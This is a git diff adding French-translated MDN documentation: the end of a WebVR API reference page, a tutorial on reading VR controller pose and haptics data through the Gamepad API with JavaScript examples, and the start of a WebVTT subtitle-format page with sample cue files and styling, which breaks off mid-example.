+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>Représente un gestionaire d'événements qui s'exécute lorsque l'état de présentation d'un appareil change — i.e. un changement de l'état "présente" à "ne présente pas", ou vice versa (quand l'événement {{event("onvrdisplaypresentchange")}} est déclenché).</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Vous pouvez retrouver plusieurs exemples dans ces repos Github:</p>
+
+<ul>
+ <li><a href="https://github.com/aframevr/aframe">A-Frame</a>: un framework web Open source pour construire des expériences RV. Plusieurs exemples.</li>
+ <li><a href="https://github.com/mdn/webvr-tests">mdn/webvr-tests</a>: Démos simples conçus pour illustrer des fonctionalités d'usage de base.</li>
+ <li><a href="https://github.com/MozVR/">MozVR team</a>: Plus de démos avancés, la source de la spec WebVR, et plus!</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR')}}</td>
+   <td>{{Spec2('WebVR')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+   <th>Samsung Internet for GearVR</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+     </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://webvr.info">webvr.info</a> - Up-to-date information about WebVR, browser setup, and community.</li>
+ <li><a href="https://iswebvrready.com">Is WebVR Ready?</a> - Up-to-date information about WebVR browser support (including experimental builds).</li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+ <li><a href="https://aframe.io">A-Frame</a> — a web framework for building VR experiences (with HTML), from the Mozilla VR team.</li>
+ <li><a href="http://dsmu.me/ConsoleGameOnWeb/">Console Game on Web</a> — a collection of interesting game concept demos, some of which include WebVR.</li>
+ <li><a href="https://github.com/MozVR/vr-web-examples/tree/master/threejs-vr-boilerplate">threejs-vr-boilerplate</a> — a very useful starter template for writing WebVR apps into.</li>
+ <li><a href="https://developer.oculus.com/">Oculus Rift homepage</a></li>
+</ul>
diff --git a/files/fr/web/api/webvr_api/utiliser_des_contrôleurs_de_realite_virtuelle_pour_du_webvr/index.html b/files/fr/web/api/webvr_api/utiliser_des_contrôleurs_de_realite_virtuelle_pour_du_webvr/index.html
new file mode 100644
index 0000000000..36b68601ff
--- /dev/null
+++ b/files/fr/web/api/webvr_api/utiliser_des_contrôleurs_de_realite_virtuelle_pour_du_webvr/index.html
@@ -0,0 +1,257 @@
+---
+title: Utiliser des contrôleurs de réalité virtuelle pour du WebVR
+slug: Web/API/WebVR_API/Utiliser_des_contrôleurs_de_realite_virtuelle_pour_du_WebVR
+translation_of: Web/API/WebVR_API/Using_VR_controllers_with_WebVR
+---
+<div>{{APIRef("WebVR API")}}</div>
+
+<p class="summary">La plupart des matériels de WebVR possède des contrôleurs qui viennent avec le casque de réalité virtuelle. Ceux-ci peuvent être utilisés dans les application WebVR grâce à l'<a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API">API Gamepad</a>, et plus spécifiquement avec l'<a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API#Experimental_Gamepad_extensions">API Gamepad Extensions</a> qui ajoute des API pour accéder, entre autres, à la <a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadPose">position du controller</a>, au <a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadHapticActuator">retour haptique</a>, etc.. Cet article fournit les bases pour utiliser ces API.</p>
+
+<h2 id="L'API_WebVR">L'API WebVR</h2>
+
+<p>L'<a href="/en-US/docs/Web/API/WebVR_API">API WebVR</a> est jeune mais possède déjà des fonctionnalités très interressantes pour le web et pour que les développeur·euse·s puisse créer des expériences de réalité virtuelle sur le web. Cela est possible grâce à un accès aux données des casques de réalité virtuelle connectés à votre ordinateur. Ceux-ci seront indentifié comme des objets {{domxref("VRDisplay")}},que vous pourrez manipuler pour commencer et arrêter l'affichage dans le casque, récupérer des données de mouvement (orientation, position...) qui pourront être utilisés pour mettre à jour l'affichage d'une animation, par exemple.</p>
+
+<p>Avant de commencer, vous devriez être déjà avoir des bases de l'API WebVR. Si ce n'est pas le cas, allez lire l'article <a href="/en-US/docs/Web/API/WebVR_API/Using_the_WebVR_API">Utiliser l'API WebVR</a>, vous aurez également des détails sur la compatibilité des navigateurs web ou du matériel nécessaire.</p>
+
+<h2 id="L'API_Gamepad">L'API Gamepad</h2>
+
+<p>L'<a href="/en-US/docs/Web/API/Gamepad_API">API Gamepad</a> est une API assez bien compatible, qui donne aux développeur·euse·s l'accès aux manettes de jeu, connectés à leur ordinateur et de les utilisé dans dans applications web. Les contrôleurs peuvent basiquement être accessible comme des objets {{domxref("Gamepad")}}, avec lesquels nous pouvons faire des requêtes pour savoir quels boutons sont appuyés ou quels joystick sont actionnés, etc..</p>
+
+<p>Vous pouvez avoir plus d'information sur l'usage de API de base des Gamepad avec l'article <a href="/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API">Utilisez l'API Gamepad</a>, et <a href="/en-US/docs/Games/Techniques/Controls_Gamepad_API">Implementer des contrôles en utilisant l'API Gamepad</a>.</p>
+
+<p>Dans cet article, nous allons nous attardez sur les nouvelles fonctionnalités offertes dans l'API {{specname("GamepadExtensions")}}, laquelle donne accès à des informations avancés comme des données de position ou d'orientation, ou encore contrôler les retours haptiques (vibrations), et bien plus. Cette API est toute nouvelle et, pour l'instant, seulement disponible dans les versions Beta ou Nightly de Firefox 55 (et suppérieur).</p>
+
+<h2 id="Types_de_contrôlleurs">Types de contrôlleurs</h2>
+
+<p>Il y a deux principaux types de contrôleurs utilisés pour la réalité virtuelle :</p>
+
+<ul>
+ <li>les "6DoF" (six degrés de liberté) sont des contrôleurs qui donne accès aux informations de position et d'orientation. Un exemple notable serait les manettes du HTC Vive.</li>
+ <li>les "3DoF" (trois degrés de liberté) sont des contrôleurs qui donne uniquement accès aux informations d'orientation. Un exemple notable serait la manette du Google Daydream, qui peut être tourné pour sélectionner des objets 3D comme un pointeur laser, mais ne peux être bougé dans la scène 3D.</li>
+</ul>
+
+<h2 id="Basic_controller_access">Basic controller access</h2>
+
+<p>Now onto some code. Let's look first at the basics of how we get access to VR controllers with the Gamepad API. There are a few strange nuances to bear in mind here, so it is worth taking a look.</p>
+
+<p>We've written up a simple example to demonstrate — see our <a href="https://github.com/mdn/webvr-tests/blob/master/vr-controller-basic-info/index.html">vr-controller-basic-info</a> source code (<a href="https://mdn.github.io/webvr-tests/vr-controller-basic-info/">see it running live here also</a>). This demo simply outputs information on the VR displays and gamepads connected to your computer.</p>
+
+<h3 id="Getting_the_display_information">Getting the display information</h3>
+
+<p>The first notable code is as follows:</p>
+
+<pre class="brush: js">var initialRun = true;
+
+if(navigator.getVRDisplays &amp;&amp; navigator.getGamepads) {
+  info.textContent = 'WebVR API and Gamepad API supported.'
+  reportDisplays();
+} else {
+  info.textContent = 'WebVR API and/or Gamepad API not supported by this browser.'
+}</pre>
+
+<p>Here we first use a tracking variable, <code>initialRun</code>, to note that this is the first time we have loaded the page. You'll find out more about this later on. Next, we detect to see if the WebVR and Gamepad APIs are supported by cheking for the existence of the {{domxref("Navigator.getVRDisplays()")}} and {{domxref("Navigator.getGamepads()")}} methods. If so, we run our <code>reportDisplays()</code> custom function to start the process off. This function looks like so:</p>
+
+<pre class="brush: js">function reportDisplays() {
+  navigator.getVRDisplays().then(function(displays) {
+      console.log(displays.length + ' displays');
+    for(var i = 0; i &lt; displays.length; i++) {
+      var cap = displays[i].capabilities;
+      // cap is a VRDisplayCapabilities object
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '&lt;strong&gt;Display ' + (i+1) + '&lt;/strong&gt;'
+                   + '&lt;br&gt;VR Display ID: ' + displays[i].displayId
+                   + '&lt;br&gt;VR Display Name: ' + displays[i].displayName
+                   + '&lt;br&gt;Display can present content: ' + cap.canPresent
+                   + '&lt;br&gt;Display is separate from the computer\'s main display: ' + cap.hasExternalDisplay
+                   + '&lt;br&gt;Display can return position info: ' + cap.hasPosition
+                   + '&lt;br&gt;Display can return orientation info: ' + cap.hasOrientation
+                   + '&lt;br&gt;Display max layers: ' + cap.maxLayers;
+      list.appendChild(listItem);
+    }
+
+    setTimeout(reportGamepads, 1000);
+    // For VR, controllers will only be active after their corresponding headset is active
+  });
+}</pre>
+
+<p>This function first uses the promise-based {{domxref("Navigator.getVRDisplays()")}} method, which resolves with an array containing {{domxref("VRDisplay")}} objects representing the connected displays. Next, it prints out each display's {{domxref("VRDisplay.displayId")}} and {{domxref("VRDisplay.displayName")}} values, and a number of useful values contained in the display's associated {{domxref("VRCapabilities")}} object. The most useful of these are {{domxref("VRCapabilities.hasOrientation","hasOrientation")}} and {{domxref("VRCapabilities.hasPosition","hasPosition")}}, which allow you to detect whether the device can return orientation and position data and set up your app accordingly.</p>
+
+<p>The last line contained in this function is a {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}} call, which runs the <code>reportGamepads()</code> function after a 1 second delay. Why do we need to do this? First of all, VR controllers will only be ready after their associated VR headset is active, so we need to invoke this after <code>getVRDisplays()</code> has been called and returned the display information. Second, the Gamepad API is much older than the WebVR API, and not promise-based. As you'll see later, the <code>getGamepads()</code> method is synchronous, and just returns the <code>Gamepad</code> objects immediately — it doesn't wait for the controller to be ready to report information. Unless you wait for a little while, returned information may not be accurate (at least, this is what we found in our tests).</p>
+
+<h3 id="Getting_the_Gamepad_information">Getting the Gamepad information</h3>
+
+<p>The <code>reportGamepads()</code> function looks like this:</p>
+
+<pre class="brush: js">function reportGamepads() {
+    var gamepads = navigator.getGamepads();
+    console.log(gamepads.length + ' controllers');
+    for(var i = 0; i &lt; gamepads.length; ++i) {
+        var gp = gamepads[i];
+    var listItem = document.createElement('li');
+    listItem.classList = 'gamepad';
+    listItem.innerHTML = '&lt;strong&gt;Gamepad ' + gp.index + '&lt;/strong&gt; (' + gp.id + ')'
+                 + '&lt;br&gt;Associated with VR Display ID: ' + gp.displayId
+                 + '&lt;br&gt;Gamepad associated with which hand: ' + gp.hand
+                 + '&lt;br&gt;Available haptic actuators: ' + gp.hapticActuators.length
+                 + '&lt;br&gt;Gamepad can return position info: ' + gp.pose.hasPosition
+                 + '&lt;br&gt;Gamepad can return orientation info: ' + gp.pose.hasOrientation;
+    list.appendChild(listItem);
+  }
+  initialRun = false;
+}</pre>
+
+<p>This works in a similar manner to <code>reportDisplays()</code> — we get an array of {{domxref("Gamepad")}} objects using the non-promise-based <code>getGamepads()</code> method, then cycle through each one and print out information on each:</p>
+
+<ul>
+ <li>The {{domxref("Gamepad.displayId")}} property is the same as the <code>displayId</code> of the headet the controller is associated with, and therefore useful for tying controller and headset information together.</li>
+ <li>The {{domxref("Gamepad.index")}} property is unique numerical index that identifies each connected controller.</li>
+ <li>{{domxref("Gamepad.hand")}} returns which hand the controller is expected to be held in.</li>
+ <li>{{domxref("Gamepad.hapticActuators")}} returns an array of the haptic actuators available in the controller. Here we are returning its length so we can see how many each has available.</li>
+ <li>Finally, we return {{domxref("GamepadPose.hasPosition")}} and {{domxref("GamepadPose.hasOrientation")}} to show whether the controller can return position and orientation data. This works just the same as for the displays, except that in the case of gamepads these values are available on the pose object, not the capabilities object.</li>
+</ul>
+
+<p>Note that we also gave each list item containing controller information a class name of <code>gamepad</code>. We'll explain what this is for later.</p>
+
+<p>The last thing to do here is set the <code>initialRun</code> variable to <code>false</code>, as the initial run is now over.</p>
+
+<h3 id="Gamepad_events">Gamepad events</h3>
+
+<p>To finish off this section, we'll look at the gamepad-associated events. There are two we need concern ourselves with — {{event("gamepadconnected")}} and {{event("gamepaddisconnected")}} — and it is fairly obvious what they do.</p>
+
+<p>At the end of our example we first include the <code>removeGamepads()</code> function:</p>
+
+<pre class="brush: js">function removeGamepads() {
+    var gpLi = document.querySelectorAll('.gamepad');
+    for(var i = 0; i &lt; gpLi.length; i++) {
+    list.removeChild(gpLi[i]);
+    }
+
+    reportGamepads();
+}</pre>
+
+<p>This function simply grabs references to all list items with a class name of <code>gamepad</code>, and removes them from the DOM. Then it re-runs <code>reportGamepads()</code> to populate the list with the updated list of connected controllers.</p>
+
+<p><code>removeGamepads()</code> will be run each time a gamepad is connected or disconnected, via the following event handlers:</p>
+
+<pre class="brush: js">window.addEventListener('gamepadconnected', function(e) {
+  info.textContent = 'Gamepad ' + e.gamepad.index + ' connected.';
+  if(!initialRun) {
+      setTimeout(removeGamepads, 1000);
+  }
+});
+
+window.addEventListener('gamepaddisconnected', function(e) {
+  info.textContent = 'Gamepad ' + e.gamepad.index + ' disconnected.';
+  setTimeout(removeGamepads, 1000);
+});</pre>
+
+<p>We have <code>setTimeout()</code> calls in place here — like we did with the initialization code at the top of the script — to make sure that the gamepads are ready to report their information when <code>reportGamepads()</code> is called in each case.</p>
+
+<p>But there's one more thing to note — you'll see that inside the <code>gamepadconnected</code> handler, the timeout is only run if <code>initialRun</code> is <code>false</code>. This is because if your gamepads are connected when the document first loads, <code>gamepadconnected</code> is fired once for each gamepad, therefore <code>removeGamepads()</code>/<code>reportGamepads()</code> will be run several times. This could lead to inaccurate results, therefore we only want to run <code>removeGamepads()</code> inside the <code>gamepadconnected</code> handler after the initial run, not during it. This is what <code>initialRun</code> is for.</p>
+
+<h2 id="Introducing_a_real_demo">Introducing a real demo</h2>
+
+<p>Now let's look at the Gamepad API being used inside a real WebVR demo. You can find this demo at <a href="https://github.com/mdn/webvr-tests/tree/master/raw-webgl-controller-example">raw-webgl-controller-example</a> (<a href="https://mdn.github.io/webvr-tests/raw-webgl-controller-example/">see it live here also</a>).</p>
+
+<p>In exactly the same way as our <a href="https://github.com/mdn/webvr-tests/tree/master/raw-webgl-example">raw-webgl-example</a> (see <a href="/en-US/docs/Web/API/WebVR_API/Using_the_WebVR_API">Using the WebVR API</a> for details), this renders a spinning 3D cube, which you can choose to present in a VR display. The only difference is that, while in VR presenting mode, this demo allows you to move the cube by moving a VR controller (the original demo moves the cube as you move your VR headset).</p>
+
+<p>We'll explore the code differences in this version below — see <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-controller-example/webgl-demo.js">webgl-demo.js</a>.</p>
+
+<h3 id="Accessing_the_gamepad_data">Accessing the gamepad data</h3>
+
+<p>Inside the <code>drawVRScene()</code> function, you'll find this bit of code:</p>
+
+<pre class="brush: js">var gamepads = navigator.getGamepads();
+var gp = gamepads[0];
+
+if(gp) {
+  var gpPose = gp.pose;
+  var curPos = gpPose.position;
+  var curOrient = gpPose.orientation;
+  if(poseStatsDisplayed) {
+    displayPoseStats(gpPose);
+  }
+}</pre>
+
+<p>Here we get the connected gamepads with {{domxref("Navigator.getGamepads")}}, then store the first gamepad detected in the <code>gp</code> variable. As we only need one gamepad for this demo, we'll just ignore the others.</p>
+
+<p>The next thing we do is to get the {{domxref("GamepadPose")}} object for the controller stored in gpPose (by querying {{domxref("Gamepad.pose")}}), and also store the current gamepad position and orientation for this frame in variables so they are easuy to access later. We also display the post stats for this frame in the DOM using the <code>displayPoseStats()</code> function. All of this is only done if <code>gp</code> actually has a value (if a gamepad is connected), which stops the demo erroring if we don't have our gamepad connected.</p>
+
+<p>Slightly later in the code, you can find this block:</p>
+
+<pre class="brush: js">if(gp &amp;&amp; gpPose.hasPosition) {
+  mvTranslate([
+                0.0 + (curPos[0] * 15) - (curOrient[1] * 15),
+                0.0 + (curPos[1] * 15) + (curOrient[0] * 15),
+                -15.0 + (curPos[2] * 25)
+             ]);
+} else if(gp) {
+  mvTranslate([
+                0.0 + (curOrient[1] * 15),
+                0.0 + (curOrient[0] * 15),
+                -15.0
+             ]);
+} else {
+  mvTranslate([
+                0.0,
+                0.0,
+                -15.0
+             ]);
+}</pre>
+
+<p>Here we alter the position of the cube on the screen according to the {{domxref("GamepadPose.position","position")}} and {{domxref("GamepadPose.orientation","orientation")}} data received from the connected controller. These values (stored in <code>curPos</code> and <code>curOrient</code>) are {{domxref("Float32Array")}}s containing the X, Y, and Z values (here we are just using [0] which is X, and [1] which is Y).</p>
+
+<p>If the <code>gp</code> variable has a <code>Gamepad</code> object inside it and it can return position values (<code>gpPose.hasPosition</code>), indicating a 6DoF controller, we modify the cube position using position and orientation values. If only the former is true, indicating a 3DoF controller, we modify the cube position using the orientation values only. If there is no gamepad connected, we don't modify the cube position at all.</p>
+
+<h3 id="Displaying_the_gamepad_pose_data">Displaying the gamepad pose data</h3>
+
+<p>In the <code>displayPoseStats()</code> function, we grab all of the data we want to display out of the {{domxref("GamepadPose")}} object passed into it, then print them into the UI panel that exists in the demo for displaying such data:</p>
+
+<pre class="brush: js">function displayPoseStats(pose) {
+  var pos = pose.position;
+  var orient = pose.orientation;
+  var linVel = pose.linearVelocity;
+  var linAcc = pose.linearAcceleration;
+  var angVel = pose.angularVelocity;
+  var angAcc = pose.angularAcceleration;
+
+  if(pose.hasPosition) {
+    posStats.textContent = 'Position: x ' + pos[0].toFixed(3) + ', y ' + pos[1].toFixed(3) + ', z ' + pos[2].toFixed(3);
+  } else {
+    posStats.textContent = 'Position not reported';
+  }
+
+  if(pose.hasOrientation) {
+    orientStats.textContent = 'Orientation: x ' + orient[0].toFixed(3) + ', y ' + orient[1].toFixed(3) + ', z ' + orient[2].toFixed(3);
+  } else {
+    orientStats.textContent = 'Orientation not reported';
+  }
+
+  linVelStats.textContent = 'Linear velocity: x ' + linVel[0].toFixed(3) + ', y ' + linVel[1].toFixed(3) + ', z ' + linVel[2].toFixed(3);
+  angVelStats.textContent = 'Angular velocity: x ' + angVel[0].toFixed(3) + ', y ' + angVel[1].toFixed(3) + ', z ' + angVel[2].toFixed(3);
+
+  if(linAcc) {
+    linAccStats.textContent = 'Linear acceleration: x ' + linAcc[0].toFixed(3) + ', y ' + linAcc[1].toFixed(3) + ', z ' + linAcc[2].toFixed(3);
+  } else {
+    linAccStats.textContent = 'Linear acceleration not reported';
+  }
+
+  if(angAcc) {
+    angAccStats.textContent = 'Angular acceleration: x ' + angAcc[0].toFixed(3) + ', y ' + angAcc[1].toFixed(3) + ', z ' + angAcc[2].toFixed(3);
+  } else {
+    angAccStats.textContent = 'Angular acceleration not reported';
+  }
+}</pre>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has given you a very basic idea of how to use the Gamepad Extensions to use VR controllers inside WebVR apps. In a real app you'd probably have a much more complex control system in effect, with controls assigned to the buttons on the VR controllers, and the display being affected by both the display pose and the controller poses simultaneously. Here however, we just wanted to isolate the pure Gamepad Extensions parts of that.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a></li>
+ <li><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebVR_API/Using_the_WebVR_API">Using the WebVR API</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/Controls_Gamepad_API">Implementing controls using the Gamepad API</a></li>
+</ul>
diff --git a/files/fr/web/api/webvtt_api/index.html b/files/fr/web/api/webvtt_api/index.html
new file mode 100644
index 0000000000..0b6885d7a1
--- /dev/null
+++ b/files/fr/web/api/webvtt_api/index.html
@@ -0,0 +1,900 @@
+---
+title: Web Video Text Tracks Format (WebVTT)
+slug: Web/API/WebVTT_API
+translation_of: Web/API/WebVTT_API
+---
+<div>{{DefaultAPISidebar("WebVTT")}}</div>
+
+<p><span class="seoSummary"><strong>Web Video Text Tracks Format</strong> (<strong>WebVTT</strong>) est un format pour afficher du texte en fonction du temps (comme des sous-titres ou des légendes) en utilisant l'élément HTML {{HTMLElement("track")}}. L'objectif de ce format est d'afficher du texte sur </span>{{HTMLElement("video")}}. WebVTT est un format texte codé en {{Glossary("UTF-8")}}. On peut utiliser aussi bien des espaces que des tabulations. Il y a aussi une petite API capable de représenter et de modifier ces pistes ainsi que les données nécéssaires à la synchornisation du texte.</p>
+
+<h2 id="Les_fichiers_WebVTT">Les fichiers WebVTT</h2>
+
+<p>Les fichiers WebVTT ont pour type MIME <code>text/vtt</code>.</p>
+
+<p>Un fichier WebVTT (<code>.vtt</code>) contient les répliques qui peuvent être sur une ou plusieurs lignes.</p>
+
+<pre class="notranslate">WEBVTT
+
+00:01.000 --&gt; 00:04.000
+Ne jamais boire de l'azote liquide.
+
+00:05.000 --&gt; 00:09.000
+- Cela peut perforer l'estomac.
+- On peut en mourir.
+</pre>
+
+<h2 id="Le_corps_WebVTT">Le corps WebVTT</h2>
+
+<p>La structure d'un fichier WebVTT consiste en une série de composants, certains d'entre-eux sont optionnels. Dans l'ordre:</p>
+
+<ul>
+ <li>Indicateur d'ordre des octets {{optional_inline}}</li>
+ <li>La chaîne de caractères "<code>WEBVTT</code>".</li>
+ <li>Titre à droite de "<code>WEBVTT</code>". {{optional_inline}}
+  <ul>
+   <li>Il doit y avoir au moins un espace après "<code>WEBVTT</code>".</li>
+   <li>Vous pouvez l'utiliser pour mettre une description.</li>
+   <li>Vous pouvez utiliser n'importe quoi à part une nouvelle ligne ou la chaîne "<code>--&gt;</code>".</li>
+  </ul>
+ </li>
+ <li>Une ligne vide équivalente à deux lignes consécutives.</li>
+ <li>Zéros ou plusieurs répliques ou commenatiaires.</li>
+ <li>Zéro ou plusieurs lignes vides.</li>
+</ul>
+
+<h5 id="Exemple_1_-_Plus_petit_fichier_WebVTT">Exemple 1 - Plus petit fichier WebVTT</h5>
+
+<pre class="eval notranslate">WEBVTT
+</pre>
+
+<h5 id="Exemple_2_-_Simple_fichier_WebVTT_contenant_un_entête">Exemple 2 - Simple fichier WebVTT contenant un entête</h5>
+
+<pre class="eval notranslate">WEBVTT - Ce fichier ne possède pas de réplique.</pre>
+
+<h5 id="Exemple_3_-_Fichier_WebVTT_courant_avec_un_entête_et_des_répliques">Exemple 3 - Fichier WebVTT courant avec un entête et des répliques</h5>
+
+<pre class="eval notranslate">WEBVTT - Ce fichier possède des répliques.
+
+14
+00:01:14.815 --&gt; 00:01:18.114
+- Quoi?
+- Où sommes-nous?
+
+15
+00:01:18.171 --&gt; 00:01:20.991
+- C'est le pays des grandes chauves-souris.
+
+16
+00:01:21.058 --&gt; 00:01:23.868
+- [ Cris perçant de chauves-souris ]
+- Elles ne veulent pas aller dans vos cheveux. Elles attrapent les insectes.
+</pre>
+
+<h3 id="Structure_interne_dun_fichier_WebVTT">Structure interne d'un fichier WebVTT</h3>
+
+<p>Réexaminons le premier exemple, et observons la structure plus précisément.</p>
+
+<pre class="notranslate">WEBVTT
+
+00:01.000 --&gt; 00:04.000
+Ne jamais boire de l'azote liquide.
+
+00:05.000 --&gt; 00:09.000
+- Cela peut perforer l'estomac.
+- On peut en mourir.
+
+NOTE Cette ligne est la dernière ligne du fichier
+</pre>
+
+<p>Dans chaque réplique:</p>
+
+<ul>
+ <li>La première ligne commence par un temps correspondant au moment où il apparait.</li>
+ <li>Sur la même ligne nous avons une chaîne <code>--&gt;</code>.</li>
+ <li>Nous finissions la ligne par un second temps indiquant la fin de l'affichage du texte.</li>
+ <li>Nous pouvons alors afficher une ou plusieurs lignes commençant par un tiret (-), chacune contenant une partie du texte à afficher.</li>
+</ul>
+
+<p>Nous pouvons aussi mettre des commentaires dans notre fichier <code>.vtt</code> afin de nous aider à nous remémorer des informations importantes à propos du fichier. Ils doivent être séparés par une ligne vide et commencer par <code>NOTE</code>. Nous en reparlerons dans la prochaine section.</p>
+
+<p>Il est important de ne pas utiliser de ligne vide sans réplique, par exemple entre la ligne indiquant le temps et le texte en lui même. WebVTT est basé sur les lignes, une ligne vide ferme la réplique.</p>
+
+<h2 id="Les_commentaires_WebVTT">Les commentaires WebVTT</h2>
+
+<p>Les commentaires sont des composants optionels qui peuvent être utilisés pour ajouter des informations à un fichier WebVTT. Les commentaires sont prévus pour ceux qui liront le fichier, ils ne seront pas vus par les utilisateurs. Les commentaires peuvent contenir de nouvelles ligne mais ne peuvent pas contenir de ligne vide ce qui équivaut à deux nouvelles lignes. Une ligne vide correspond à la fin d'un commentaire.</p>
+
+<p>Un  commentaire ne peut contenir la chaîne "<code>--&gt;</code>", l'esperluette <code>&amp;</code> ou bien le symbole plus-petit que <code>&lt;</code>. Si vous voulez utiliser ces caractères, vous devez utiliser les caractères échapés comme <code>&amp;amp;</code>pour l'esperluette et <code>&amp;lt;</code> pour le plus petit que. Il est aussi recommandé <code>&amp;gt;</code> pour le plus grand que, afin d'éviter toutes confusions.</p>
+
+<p>Un commentaire est constitué de ces trois composants:</p>
+
+<ul>
+ <li>La chaîne <code>NOTE</code>.</li>
+ <li>Un espace ou une nouvelle ligne.</li>
+ <li>Aucun ou plusieurs caractères sauf ceux indiqué ci-dessus.</li>
+</ul>
+
+<h5 id="Exemple_4_-_Simple_commentaire_WebVTT">Exemple 4 - Simple commentaire WebVTT</h5>
+
+<pre class="eval notranslate">NOTE Ceci est un simple commentaire</pre>
+
+<h5 id="Exemple_5_-_Multi-line_comment">Exemple 5 - Multi-line comment</h5>
+
+<pre class="eval notranslate">NOTE
+Un autre commentaire qui est
+coupé sur plusieurs lignes.
+
+NOTE Vous pouvez aussi faire un commentaire
+sur plusieurs lignes de cette façon.
+</pre>
+
+<h5 id="Exemple_6_-_Usage_commun_des_commentaires">Exemple 6 - Usage commun des commentaires</h5>
+
+<pre class="eval notranslate">WEBVTT - Traduction de ce film que j'aime
+
+NOTE
+Cette traduction a été faite par Kyle pour que
+ses amis puissent la voir avec leurs parents.
+
+1
+00:02:15.000 --&gt; 00:02:20.000
+- Ta en kopp varmt te.
+- Det är inte varmt.
+
+2
+00:02:20.000 --&gt; 00:02:25.000
+- Har en kopp te.
+- Det smakar som te.
+
+NOTE Cette dernière ligne n'est pas forcément bien traduite.
+
+3
+00:02:25.000 --&gt; 00:02:30.000
+- Ta en kopp
+</pre>
+
+<h2 id="Styliser_les_répliques_WebTT">Styliser les répliques WebTT</h2>
+
+<p>Vous pouvez styliser des répliques WebVTT en cherchant les éléments qui correspondent à la pseudo-classe {{cssxref("::cue")}}.</p>
+
+<h3 id="Avec_du_CSS">Avec du CSS</h3>
+
+<pre class="brush: css notranslate">video::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+
+video::cue(b) {
+  color: peachpuff;
+}
+</pre>
+
+<p>Here, all video elements are styled to use a gray linear gradient as their backgrounds, with a foreground color of <code>"papayawhip"</code>. In addition, text boldfaced using the {{HTMLElement("b")}} element are colored <code>"peachpuff"</code>.</p>
+
+<p>The HTML snippet below actually handles displaying the media itself.</p>
+
+<pre class="brush: html notranslate">&lt;video controls autoplay src="video.webm"&gt;
+ &lt;track default src="track.vtt"&gt;
+&lt;/video&gt;
+</pre>
+
+<h3 id="Dans_le_fichier_WebVTT">Dans le fichier WebVTT</h3>
+
+<p>You can also define the style directly in the WebVTT file. In this case, you insert your CSS rules into the file with each rule preceded by the string <code>"STYLE"</code> all by itelf on a line of text, as shown below:</p>
+
+<pre class="notranslate">WEBVTT
+
+STYLE
+::cue {
+  background-image: linear-gradient(to bottom, dimgray, lightgray);
+  color: papayawhip;
+}
+/* Style blocks cannot use blank lines nor "dash dash greater than" */
+
+NOTE comment blocks can be used between style blocks.
+
+STYLE
+::cue(b) {
+  color: peachpuff;
+}
+
+00:00:00.000 --&gt; 00:00:10.000
+- Hello &lt;b&gt;world&lt;/b&gt;.
+
+NOTE style blocks cannot appear after the first cue.</pre>
+
+<p>We can also use identifiers inside WebVTT file, which can be used for defining a new style for some particular cues in the file. The example where we wanted the transcription text to be red highlighted and the other part to remain normal, we can define it as follows using CSS. Where it must be noted that the CSS uses escape sequences the way they are used in HTML pages:</p>
+
+<pre class="notranslate">WEBVTT
+
+1
+00:00.000 --&gt; 00:02.000
+That’s an, an, that’s an L!
+
+crédit de transcription
+00:04.000 --&gt; 00:05.000
+Transcrit par Célestes™
+</pre>
+
+<pre class="brush: css notranslate">::cue(#\31) { color: lime; }
+::cue(#crédit\ de\ transcription) { color: red; }</pre>
+
+<p>Positioning of text tracks is also supported, by including positioning information after the timings in a cue, as seen below (see {{anch("Cue settings")}} for more information):</p>
+
+<pre class="notranslate">WEBVTT
+
+00:00:00.000 --&gt; 00:00:04.000 position:10%,line-left align:left size:35%
+Where did he go?
+
+00:00:03.000 --&gt; 00:00:06.500 position:90% align:right size:35%
+I think he went down this lane.
+
+00:00:04.000 --&gt; 00:00:06.500 position:45%,line-right align:center size:35%
